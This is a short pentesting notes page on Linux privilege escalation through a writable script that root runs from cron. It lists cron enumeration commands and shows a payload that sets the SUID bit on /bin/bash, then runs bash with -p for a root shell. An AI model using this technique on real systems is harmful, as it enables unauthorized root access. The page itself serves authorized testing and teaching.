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# Modified Bash Script Cron Job - Linux Privilege Escalation
Cron Jobs - Modified Script (Bash) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Cron jobs create privilege escalation paths when recurring root tasks execute writable scripts, unsafe relative paths, or vulnerable processors. The key is to prove that a low-privileged user controls something that a privileged scheduled task will run. This specific page focuses on **Cron Jobs - Modified Script (Bash)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```
## Examples
In this case, we find that a script.sh \*\* is running\*\*:
What we will do is **modify** the script with the following content:
```bash
sleep 2
chmod u+s /bin/bash
```
We run a Bash with the **p** privilege parameter:
---
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